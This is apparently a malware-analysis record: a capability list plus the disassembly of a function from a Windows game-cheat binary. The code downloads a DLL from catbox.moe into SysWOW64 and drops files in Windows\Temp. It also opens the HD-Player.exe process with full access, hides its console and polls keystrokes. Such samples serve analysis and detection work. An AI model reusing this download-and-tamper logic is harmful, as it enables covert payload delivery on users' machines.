Function at 0x140050030
Capabilities:
Check for time delay via gettickcount
Create process on windows
Create thread
Download url
Enumerate processes
Hide graphical window
Log keystrokes via polling
Receive data
Set registry value
Terminate process
Terminate process by name

Disassembly:
push rbp
push r12
lea rbp, [rsp - 0xd38]
sub rsp, 0xe38
movups xmm0, xmmword [str.https:__files.catbox.moe_032o16.dll]
mov eax, dword [0x14015fff8]
xor r12d, r12d
movups xmm1, xmmword [0x14015ffe8]
xor r9d, r9d
lea r8, [rbp + 0x900]
movups xmmword [rbp + 0x768], xmm0
lea rdx, [rbp + 0x768]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsSysWOW64032o16.dll]
mov dword [rbp + 0x788], eax
movups xmmword [rbp + 0x778], xmm1
mov qword [rsp + 0x20], r12
movups xmm1, xmmword [0x140160010]
movups xmmword [rbp + 0x900], xmm0
movups xmmword [rbp + 0x910], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_b010mm.wav]
mov eax, dword [0x140160040]
xor r9d, r9d
movups xmm1, xmmword [0x140160030]
mov dword [rbp + 0x7b0], eax
lea r8, [rbp + 0x400]
movzx eax, word [0x140160060]
lea rdx, [rbp + 0x790]
movups xmmword [rbp + 0x790], xmm0
mov word [rbp + 0x418], ax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTemp_b010mm.wav]
movzx eax, byte [0x140160062]
movups xmmword [rbp + 0x7a0], xmm1
mov byte [rbp + 0x41a], al
movsd xmm1, qword [0x140160058]
movups xmmword [rbp + 0x400], xmm0
mov qword [rsp + 0x20], r12
movsd qword [rbp + 0x410], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_tqzp3u.wav]
mov eax, dword [0x140160088]
xor r9d, r9d
movups xmm1, xmmword [0x140160078]
mov dword [rbp + 0x760], eax
lea r8, [rbp + 0x3e0]
movzx eax, word [0x14015fcd8]
lea rdx, [rbp + 0x740]
movups xmmword [rbp + 0x740], xmm0
mov word [rbp + 0x3f8], ax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTemp_tqzp3u.wav]
movzx eax, byte [0x14015fcda]
movups xmmword [rbp + 0x750], xmm1
mov byte [rbp + 0x3fa], al
movsd xmm1, qword [0x14015fcd0]
movups xmmword [rbp + 0x3e0], xmm0
mov qword [rsp + 0x20], r12
movsd qword [rbp + 0x3f0], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_vws3xm.wav]
mov eax, dword [0x1401600b0]
xor r9d, r9d
movups xmm1, xmmword [0x1401600a0]
mov dword [rbp + 0x7d8], eax
lea r8, [rbp + 0x420]
movzx eax, word [0x14015fc60]
lea rdx, [rbp + 0x7b8]
movups xmmword [rbp + 0x7b8], xmm0
mov word [rbp + 0x438], ax
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTemp_vws3xm.wav]
movzx eax, byte [0x14015fc62]
movups xmmword [rbp + 0x7c8], xmm1
mov byte [rbp + 0x43a], al
movsd xmm1, qword [0x14015fc58]
movups xmmword [rbp + 0x420], xmm0
mov qword [rsp + 0x20], r12
movsd qword [rbp + 0x430], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea ecx, [r12 + 8]
call fcn.14011faac
lea rcx, [0x14004d990]
mov qword [rax], rcx
lea rcx, [rbp + 0x168]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140054d80]
xor ecx, ecx
mov dword [rsp + 0x20], r12d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x160], rax
test rax, rax
je 0x140054031
cmp dword [rbp + 0x168], r12d
jne 0x140050283
lea ecx, [r12 + 1]
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [rbp + 0x160]
lea rcx, [rbp + 0x6e0]
movdqa xmmword [rbp + 0x6e0], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x1400502ac
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
xorps xmm0, xmm0
mov qword [rsp + 0xe50], rbx
mov qword [rsp + 0xe58], rsi
mov qword [rsp + 0xe60], rdi
movaps xmmword [rbp + 0x9c0], xmm0
movdqa xmmword [rbp + 0x160], xmm0
call fcn.14004d9f0
lea rcx, [0x140258370]
call fcn.1400c99e0
mov ebx, dword [0x1402370c0]
test ebx, ebx
jne 0x1400503a4
cmp qword [0x1402370c8], r12
jne 0x140050311
lea ecx, [rbx + 0x10]
call fcn.14011faac
mov qword [0x1402370c8], rax
mov dword [rax + 8], r12d
xor edx, edx
mov ebx, r12d
mov edi, r12d
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0xa20]
mov dword [rbp + 0xa20], pe_nt_image_headers64
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0xa20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14005039e
nop dword [rax]
nop word [rax + rax]
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0xa4c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
jne 0x14005038a
mov eax, dword [rbp + 0xa3c]
cmp eax, edi
jle 0x14005038a
mov ebx, dword [rbp + 0xa28]
mov edi, eax
lea rdx, [rbp + 0xa20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140050360
mov dword [0x1402370c0], ebx
mov rdi, qword [0x1402370c8]
test rdi, rdi
jne 0x1400503cc
lea ecx, [rdi + 0x10]
call fcn.14011faac
mov ebx, dword [0x1402370c0]
mov rdi, rax
mov qword [0x1402370c8], rax
mov dword [rax + 8], r12d
mov dword [rdi + 8], ebx
mov eax, ebx
test ebx, ebx
jne 0x140050444
xor edx, edx
lea ecx, [rbx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0xb50]
mov dword [rbp + 0xb50], pe_nt_image_headers64
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rdx, [rbp + 0xb50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14005043f
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0xb7c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
mov ebx, dword [rbp + 0xb58]
lea rdx, [rbp + 0xb50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140050411
mov dword [rdi + 8], ebx
mov eax, ebx
test eax, eax
je 0x14005045b
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rdi], rax
lea rcx, [0x140258370]
call fcn.1400c99e0
cmp byte [0x140258588], r12b
jne 0x140050495
cmp qword [0x1402585a8], 0x10
lea rdx, [0x140258590]
cmovae rdx, qword [0x140258590]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov qword [rsp + 0x28], r12
lea r8, [0x14004f2e0]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14004f2e0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x14005051a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_create_thread._Error_code:
call fcn.140054680
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140054850]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140053f03
mov edx, 0xffffffff
mov qword [rsp + 0xe28], r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14004f310]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [0x1400540e0]
mov dword [rbp + 0x350], 0x50
mov edx, 0x7f00
mov qword [rbp + 0x358], rax
xor ecx, ecx
mov dword [rbp + 0x354], 0x40
mov qword [rbp + 0x360], r12
mov qword [rbp + 0x368], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x370], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rdi, [0x1401600e0]
mov qword [rbp + 0x380], r12
mov edx, 0x7f00
mov qword [rbp + 0x378], rax
xor ecx, ecx
mov qword [rbp + 0x388], rdi
mov qword [rbp + 0x390], rdi
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x350]
mov qword [rbp + 0x398], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r14d, 1
mov ecx, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x140]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r12
mov r9d, 0x80000000
mov qword [rsp + 0x50], r12
cdq
mov qword [rsp + 0x48], r12
sub eax, edx
mov rdx, qword [rbp + 0x390]
mov r8, rdi
mov qword [rsp + 0x40], r12
xor ecx, ecx
mov dword [rsp + 0x38], 0x280
sar eax, 1
sub eax, 0xe6
mov dword [rsp + 0x30], 0x168
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea ecx, [r14 + 0x2d]
mov qword [0x140237098], rax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r14b, al
je 0x14005067b
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x140161080]
lea rdx, [rbp + 0x6b0]
mov rcx, qword [0x140237098]
movdqu xmmword [rbp + 0x6b0], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x140237098]
lea rdx, [0x1402370b0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x990], xmm0
movups xmmword [0x1402370b0], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rax, qword [0x140237098]
lea rbx, [0x14026ce30]
mov qword [rsp + 0x58], rbx
lea rdi, [0x14026ce28]
mov qword [rbp + 0x330], rax
lea rsi, [0x14026ce18]
lea rax, [rbp - 8]
mov qword [rbp + 0x314], r12
mov qword [rsp + 0x50], rax
xor r9d, r9d
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x300]
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov edx, r14d
mov dword [rsp + 0x30], 7
lea rax, [rbp]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x328], 8
mov qword [rbp + 0x340], 2
mov qword [rbp + 0x300], r12
mov dword [rbp + 0x310], Ordinal_32
mov dword [rbp + 0x308], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x30c], r14d
mov dword [rbp + 0x324], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x31c], r14
mov qword [rbp + 0x338], r14
mov dword [rbp], 0xb000
mov dword [rbp + 4], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
mov ecx, 5
cmp eax, 0x887a0004
jne 0x1400507f3
mov qword [rsp + 0x58], rbx
lea rax, [rbp - 8]
mov qword [rsp + 0x50], rax
mov edx, ecx
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x300]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], 7
lea rax, [rbp]
mov dword [rsp + 0x28], 2
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x140050818
call fcn.140054060
mov rdx, qword [rbp + 0x368]
mov rcx, qword [rbp + 0x390]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r14d
jmp 0x140053efb
mov rcx, qword [0x14026ce18]
lea r9, [rbp + 0x128]
mov qword [rsp + 0xe20], r15
lea r8, [0x140160dd8]
movaps xmmword [rsp + 0xe10], xmm6
xor edx, edx
movaps xmmword [rsp + 0xdf0], xmm8
mov rax, qword [rcx]
movaps xmmword [rsp + 0xde0], xmm9
movaps xmmword [rsp + 0xdd0], xmm10
movaps xmmword [rsp + 0xdc0], xmm11
movaps xmmword [rsp + 0xdb0], xmm12
movaps xmmword [rsp + 0xda0], xmm13
movaps xmmword [rsp + 0xd90], xmm14
movaps xmmword [rsp + 0xd80], xmm15
call qword [rax + 0x48]
mov rcx, qword [0x14026ce28]
lea r9, [0x14026ce10]
mov rdx, qword [rbp + 0x128]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x128]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140237098]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140237098]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rdi, qword [0x140237050]
test rdi, rdi
je 0x1400508fa
inc dword [rdi + 0xf4]
mov rdx, qword [0x140237040]
mov ecx, 0x5e70
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x14005091c
xor edx, edx
mov rcx, rax
call fcn.1400022b0
jmp 0x14005091f
mov rax, r12
mov qword [0x140237050], rax
call fcn.140006480
mov rbx, qword [0x140237050]
test rdi, rdi
cmovne rbx, rdi
mov qword [0x140237050], rbx
test rbx, rbx
jne 0x140050966
mov r8d, 0x1033
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140237050]
movss xmm6, dword [0x140160f40]
lea rdi, [0x14015b260]
mov rcx, qword [rbx + 0x58]
lea rdx, [0x1401e7620]
or dword [rbx + 8], 3
xorps xmm0, xmm0
movss xmm12, dword [0x140160e94]
xor eax, eax
mov qword [rbp + 0x4c0], rax
movaps xmm3, xmm6
movups xmmword [rbp + 0x490], xmm0
mov eax, 0xffff
mov qword [rsp + 0x28], rdi
movups xmmword [rbp + 0x450], xmm0
mov word [rbp + 0x494], ax
lea rax, [rbp + 0x440]
movups xmmword [rbp + 0x480], xmm0
mov r8d, 0x4d33c
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x440], xmm0
mov byte [rbp + 0x44c], r14b
movups xmmword [rbp + 0x460], xmm0
mov dword [rbp + 0x458], 3
movups xmmword [rbp + 0x470], xmm0
mov dword [rbp + 0x45c], r14d
movups xmmword [rbp + 0x4a0], xmm0
mov dword [rbp + 0x484], 0x7f7fffff
movups xmmword [rbp + 0x4b0], xmm0
mov dword [rbp + 0x490], 0x3f800000
mov dword [rbp + 0x48c], 0x10c
call fcn.140029b70
movss xmm8, dword [0x140160f38]
lea rdx, [0x1401790d0]
mov rcx, qword [rbx + 0x58]
movaps xmm3, xmm8
mov qword [0x140237088], rax
mov r8d, 0x26368
lea rax, [rbp + 0x440]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.140029b70
movss xmm3, dword [0x140160f54]
lea rax, [rbp + 0x440]
mov rcx, qword [rbx + 0x58]
lea rdx, [0x1401c4da0]
mov qword [rsp + 0x28], rdi
mov r8d, 0xf40
mov qword [rsp + 0x20], rax
call fcn.140029b70
mov rcx, qword [rbx + 0x58]
lea rax, [rbp + 0x440]
mov qword [rsp + 0x28], rdi
lea rdx, [0x14019f440]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rax
mov r8d, 0x25958
call fcn.140029b70
movss xmm3, dword [0x140160f5c]
lea rdx, [0x14019f440]
mov rcx, qword [rbx + 0x58]
mov r8d, 0x25958
mov qword [0x140237070], rax
lea rax, [rbp + 0x440]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.140029b70
movss xmm13, dword [0x140160f4c]
lea rax, [rbp + 0x440]
mov rcx, qword [rbx + 0x58]
lea rdx, [0x1401c5ce0]
movaps xmm3, xmm13
mov qword [rsp + 0x28], rdi
mov r8d, 0x954
mov qword [rsp + 0x20], rax
call fcn.140029b70
movss xmm3, dword [0x140160f64]
lea rdx, [0x1401c6640]
mov qword [rsp + 0x28], rdi
mov r8d, 0x20fe0
mov qword [0x140237068], rax
mov qword [rsp + 0x20], r12
mov rcx, qword [rbx + 0x58]
call fcn.140029b70
mov rcx, qword [rbx + 0x58]
lea rdx, [0x1401e7620]
movaps xmm3, xmm6
mov qword [rsp + 0x28], rdi
mov r8d, 0x4d33c
mov qword [rbp + 0x110], rax
mov qword [rsp + 0x20], r12
call fcn.140029b70
mov rcx, qword [0x140237098]
mov qword [rbp + 0x2f0], rax
call fcn.140043eb0
mov rcx, qword [0x140237050]
mov r15, qword [0x14026ce30]
mov rsi, qword [0x14026ce28]
test rcx, rcx
jne 0x140050bd7
mov r8d, 0x1033
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x140237050]
lea rdi, [rcx + 8]
cmp qword [rdi + 0x98], r12
je 0x140050c05
mov r8d, 0x221
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheat_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x140237050]
test rcx, rcx
je 0x140050c10
inc dword [rcx + 0xf4]
mov rdx, qword [0x140237040]
mov ecx, 0x78
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rbx, rax
test rax, rax
je 0x140050c57
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x140050c5a
mov rbx, r12
or dword [rdi + 4], 8
lea rax, str.imgui_impl_dx11
mov qword [rdi + 0x88], rax
lea r8, [rbp + 8]
mov qword [rdi + 0x98], rbx
lea rdx, [0x14015d1e0]
mov rax, qword [rsi]
mov rcx, rsi
mov qword [rbp + 8], r12
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x170], r12
call qword [rax]
test eax, eax
jne 0x140050ce0
mov rcx, qword [rbp + 8]
lea r8, [rbp + 0x10]
lea rdx, [0x14015d1f0]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x140050ce0
mov rcx, qword [rbp + 0x10]
lea r8, [rbp + 0x170]
lea rdx, [0x14015d200]
mov rax, qword [rcx]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x140050ce0
mov qword [rbx], rsi
mov qword [rbx + 8], r15
mov rax, qword [rbp + 0x170]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x140050cef
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp + 0x10]
test rcx, rcx
je 0x140050cfe
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
movss xmm11, dword [0x140161050]
xor bl, bl
movss xmm14, dword [0x140160e80]
xorps xmm10, xmm10
movss xmm15, dword [0x140160e24]
movss xmm9, dword [0x140160edc]
mov qword [rsp + 0xe30], r13
mov dword [rbp - 0x28], ebx
movaps xmmword [rsp + 0xe00], xmm7
nop
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea rcx, [rbp + 0x8d0]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140050dc1
nop
lea rcx, [rbp + 0x8d0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x8d0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x8d8], 0x12
lea rcx, [rbp + 0x8d0]
movzx ebx, bl
cmove ebx, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140050d70
mov dword [rbp - 0x28], ebx
test bl, bl
jne 0x140053cb8
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx ebx, ax
mov ecx, reloc.WLDAP32.dll_Ordinal_50
shr ebx, 0xf
and bl, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx edi, ax
mov ecx, 0x33
shr edi, 0xf
and dil, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx esi, ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
shr esi, 0xf
and sil, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r14d, ax
mov ecx, WSAStartup
shr r14d, 0xf
and r14b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r15d, ax
mov ecx, WSAStartup
shr r15d, 0xf
and r15b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r12d, ax
mov ecx, reloc.WS2_32.dll_WSAStartup
shr r12d, 0xf
and r12b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r13d, ax
mov ecx, 0x51
shr r13d, 0xf
and r13b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x45
and al, 1
mov dword [rsp + 0x60], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x14026ce24]
movzx edx, ax
shr edx, 0xf
and dl, 1
cmp ecx, 1
jne 0x140050eba
test bl, bl
je 0x140051024
cmp byte [0x140237067], 0
mov eax, dword [rsp + 0x60]
jne 0x140051028
cmp byte [0x1402370aa], 0
sete byte [0x1402370aa]
jmp 0x140051028
cmp ecx, 2
jne 0x140050eec
test dil, dil
je 0x140051024
cmp byte [0x140237064], 0
mov eax, dword [rsp + 0x60]
jne 0x140051028
cmp byte [0x1402370aa], 0
sete byte [0x1402370aa]
jmp 0x140051028
cmp ecx, 3
jne 0x140050f1e
test sil, sil
je 0x140051024
cmp byte [0x14023707f], 0
mov eax, dword [rsp + 0x60]
jne 0x140051028
cmp byte [0x1402370aa], 0
sete byte [0x1402370aa]
jmp 0x140051028
cmp ecx, 4
jne 0x140050f50
test r14b, r14b
je 0x140051024
cmp byte [0x14023707b], 0
mov eax, dword [rsp + 0x60]
jne 0x140051028
cmp byte [0x1402370aa], 0
sete byte [0x1402370aa]
jmp 0x140051028
cmp ecx, 5
jne 0x140050f82
test r15b, r15b
je 0x140051024
cmp byte [0x1402370a7], 0
mov eax, dword [rsp + 0x60]
jne 0x140051028
cmp byte [0x1402370aa], 0
sete byte [0x1402370aa]
jmp 0x140051028
cmp ecx, 6
jne 0x140050fb1
test r12b, r12b
je 0x140051024
cmp byte [0x14023707e], 0
mov eax, dword [rsp + 0x60]
jne 0x140051028
cmp byte [0x1402370aa], 0
sete byte [0x1402370aa]
jmp 0x140051028
cmp ecx, 7
jne 0x140050fd8
test r13b, r13b
je 0x140051024
cmp byte [0x140237079], 0
mov eax, dword [rsp + 0x60]
jne 0x140051028
cmp byte [0x1402370aa], 0
sete byte [0x1402370aa]
jmp 0x140051028
cmp ecx, 8
jne 0x140050ffe
mov eax, dword [rsp + 0x60]
test al, al
je 0x140051028
cmp byte [0x14023707a], 0
jne 0x140051028
cmp byte [0x1402370aa], 0
sete byte [0x1402370aa]
jmp 0x140051028
cmp ecx, 9
jne 0x140051024
test dl, dl
je 0x140051024
cmp byte [0x1402370a4], 0
mov eax, dword [rsp + 0x60]
jne 0x140051028
cmp byte [0x1402370aa], 0
sete byte [0x1402370aa]
jmp 0x140051028
mov eax, dword [rsp + 0x60]
mov byte [0x14023707a], al
mov rax, qword [0x140237050]
mov byte [0x140237067], bl
mov byte [0x140237064], dil
mov byte [0x14023707f], sil
mov byte [0x14023707b], r14b
mov byte [0x1402370a7], r15b
mov byte [0x14023707e], r12b
mov byte [0x140237079], r13b
mov byte [0x1402370a4], dl
test rax, rax
jne 0x140051091
mov r8d, 0x1033
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140237050]
movss xmm1, dword [0x1402370a0]
movss xmm0, dword [0x140160fbc]
movss xmm2, dword [rax + 0x18]
subss xmm0, xmm1
mulss xmm2, dword [0x140160f2c]
mulss xmm0, xmm2
addss xmm1, xmm0
comiss xmm1, dword [0x140160f88]
movss dword [0x1402370a0], xmm1
jb 0x1400510d1
movaps xmm1, xmm12
jmp 0x1400510d5
movaps xmm1, xmm11
subss xmm1, dword [0x140237094]
mov rbx, qword [rax + 0xa0]
mulss xmm1, xmm2
addss xmm1, dword [0x140237094]
movss dword [0x140237094], xmm1
test rbx, rbx
jne 0x140051117
mov r8d, 0x251
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheat_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], 0
jne 0x140051123
call fcn.140043840
call fcn.140044c20
mov ecx, dword [0x140237090]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140051146
cmp byte [reloc.WS2_32.dll_accept], 0
sete byte [0x1401790c8]
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x140054028
mov rax, qword [0x140237050]
test rax, rax
jne 0x140051186
mov r8d, 0x1033
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140237050]
movss xmm0, dword [rax + 0x18]
mov ecx, dword [0x1401790c4]
mulss xmm0, xmm13
cmp ecx, 0xff
jg 0x1400511b1
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400511b1
mov eax, 0xff
xor r12d, r12d
jmp 0x1400511b7
xor r12d, r12d
mov eax, r12d
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [0x1401790c4], eax
cmp eax, 0xff
jle 0x1400511ef
mov dword [0x1401790c4], 0xff
mov eax, 0xff
mov rcx, qword [0x140237098]
mov r9d, 2
movzx r8d, al
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
cmp dword [0x1401790c4], 0
mov edx, r12d
mov rcx, qword [0x140237098]
mov eax, 5
cmovg edx, eax
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140008dc0
mov rcx, qword [0x140237050]
test rcx, rcx
jne 0x140051259
mov r8d, 0xba4
lea rdx, str.C:UsersAlwayshappyDesktopProject_CheatXProject_Cheatimgui.cpp
